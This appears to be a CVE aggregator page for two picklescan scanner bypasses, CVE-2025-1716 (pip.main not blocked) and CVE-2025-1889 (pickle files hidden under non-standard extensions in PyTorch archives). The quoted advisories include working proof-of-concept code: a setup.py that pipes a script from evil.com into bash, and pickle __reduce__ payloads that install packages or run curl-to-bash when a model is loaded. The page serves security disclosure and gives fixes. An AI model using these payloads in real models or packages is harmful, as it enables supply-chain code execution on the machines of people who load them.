CVE-2025-1716
JSON

5.3medium

picklescan - Security scanning bypass via 'pip main'

Severity
5.3medium CVSS:4.0 by Sonatype
Exploit likelihood
1.89% (higher than 80% of CVEs)
Published
Last changed
Assigned by
Sonatype
Also known as
GHSA-655q-fx9r-782vGHSA-769v-p64c-89prPYSEC-2025-18PYSEC-2025-19

Description

picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.

Affected

Product or packageVersionsReported by
mmaitre314 picklescanfrom 0.0.1 up to 0.0.20, before 0.0.22CVE List, NVD
picklescan (PyPI)before 0.0.22, before 78ce704227c51f070c0c5fb4b466d92c62a7aa3d, before 0.0.21GitHub Advisory Database, PyPA Advisory Database

All scores

Sonatype5.3medium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
NVD9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
PyPA Advisory Database9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-184CWE-646

SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.

What each source says

CVE List

picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.

GitHub Advisory Database
CVE-2025-1716
Summary

An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.

Details

Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.

The payload executes the following steps:

  1. During unpickling, it calls pip.main() to install a malicious PyPI package.
  2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.
  3. Execution is silent, with minimal logging to avoid detection.
PoC

Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entry_point.

Example malicious setup.py

from setuptools import setup
import os

os.system("curl -s https://evil.com/payload.sh | bash")  # Executes remote shell script

setup(
    name="rsac-demo-package",
    version="0.1",
    packages=["rsac_demo"],
    install_requires=[],
)

Upload it to PyPI or host on GitHub.

Step 2: Exploit via Pickle

import pickle
import pip

class Exploit:
    def __reduce__(self):
        return pip.main, (
            ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',
             '--exists-action', 'i', '--isolated'],
        )

malicious_pickle = pickle.dumps(Exploit())

# Simulating deserialization attack
pickle.loads(malicious_pickle)

This installs a malicious package from GitHub or PyPI. The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.

Impact

Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.

Recommended Fixes

Add "pip": "*" to the list of unsafe globals

GitHub Advisory Database
CVE-2025-1889
Summary

Picklescan fails to detect hidden pickle files embedded in PyTorch model archives due to its reliance on file extensions for detection. This allows an attacker to embed a secondary, malicious pickle file with a non-standard extension inside a model archive, which remains undetected by picklescan but is still loaded by PyTorch's torch.load() function. This can lead to arbitrary code execution when the model is loaded.

Details

Picklescan primarily identifies pickle files by their extensions (e.g., .pkl, .pt). However, PyTorch allows specifying an alternative pickle file inside a model archive using the pickle_file parameter when calling torch.load(). This makes it possible to embed a malicious pickle file (e.g., config.p) inside the model while keeping the primary data.pkl file benign.

A typical attack works as follows:

  • A PyTorch model (model.pt) is created and saved normally.
  • A second pickle file (config.p) containing a malicious payload is crafted.
  • The data.pkl file in the model is modified to contain an object that calls torch.load(model.pt, pickle_file='config.p'), causing config.p to be loaded when the model is opened.
  • Since picklescan ignores non-standard extensions, it does not scan config.p, allowing the malicious payload to evade detection.
  • The issue is exacerbated by the fact that PyTorch models are widely shared in ML repositories and organizations, making it a potential supply-chain attack vector.
PoC
import os
import pickle
import torch
import zipfile
from functools import partial

class RemoteCodeExecution:
    def __reduce__(self):
        return os.system, ("curl -s http://localhost:8080 | bash",)

# Create a directory inside the model
os.makedirs("model", exist_ok=True)

# Create a hidden malicious pickle file
with open("model/config.p", "wb") as f:
    pickle.dump(RemoteCodeExecution(), f)

# Create a benign model
model = {}
class AutoLoad:
    def __init__(self, path, **kwargs):
        self.path = path
        self.kwargs = kwargs

    def __reduce__(self):
        # Use functools.partial to create a partially applied function
        # with torch.load and the pickle_file argument
        return partial(torch.load, self.path, **self.kwargs), ()

model['config'] = AutoLoad(model_name, pickle_file='config.p', weights_only=False)
torch.save(model, "model.pt")

# Inject the second pickle into the model archive
with zipfile.ZipFile("model.pt", "a") as archive:
    archive.write("model/config.p", "model/config.p")

# Loading the model triggers execution of config.p
torch.load("model.pt")
Impact

Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.

What is the impact? Attackers can embed malicious code in PyTorch models that remains undetected but executes when the model is loaded.

Potential Exploits: This vulnerability could be exploited in supply chain attacks, backdooring pre-trained models distributed via repositories like Hugging Face or PyTorch Hub.

Recommendations
  1. Scan All Files in the ZIP Archive: picklescan should analyze all files in the archive instead of relying on file extensions.
  2. Detect Hidden Pickle References: Static analysis should detect torch.load(pickle_file=...) calls inside data.pkl.
  3. Magic Byte Detection: Instead of relying on extensions, picklescan should inspect file contents for pickle magic bytes (\x80\x05).
  4. Block the following globals: - torch.load - Block functools.partial
NVD (es)

Las versiones anteriores a la versión 0.0.21 de picklescan no tratan a 'pip' como una variable global insegura. Un atacante podría manipular un modelo malicioso que use Pickle para incorporar un paquete PyPI malicioso (alojado, por ejemplo, en pypi.org o GitHub) a través de `pip.main()`. Debido a que pip no es una variable global restringida, el modelo, al analizarse con picklescan, pasaría los controles de seguridad y parecería ser seguro, cuando en realidad podría resultar problemático.

PyPA Advisory Database

picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.

References

https://www.sonatype.com/security-advisories/cve-2025-1716third-party-advisory
https://github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3dfix, patch, web
https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782vadvisory, exploit, third-party-advisory, vendor-advisory, web
https://nvd.nist.gov/vuln/detail/CVE-2025-1716advisory
https://github.com/mmaitre314/picklescanpackage
https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-18.yamlweb
https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716web
https://github.com/mmaitre314/picklescan/security/advisories/GHSA-769v-p64c-89prweb
https://nvd.nist.gov/vuln/detail/CVE-2025-1889advisory
https://github.com/mmaitre314/picklescan/commit/baf03faf88fece56a89534d12ce048e5ee36e50eweb
https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1889evidence, web
https://github.com/advisories/GHSA-769v-p64c-89pradvisory

Related

Sources

SourceRecordLicence
CVE ListCVE-2025-1716 changed 2025-12-29CVE Terms of Use
GitHub Advisory DatabaseGHSA-655q-fx9r-782v changed 2025-04-09CC-BY-4.0
GitHub Advisory DatabaseGHSA-769v-p64c-89pr changed 2025-04-09CC-BY-4.0
NVDCVE-2025-1716 changed 2026-06-17Public domain
PyPA Advisory DatabasePYSEC-2025-18 changed 2025-04-09CC-BY-4.0
PyPA Advisory DatabasePYSEC-2025-19 changed 2026-07-09CC-BY-4.0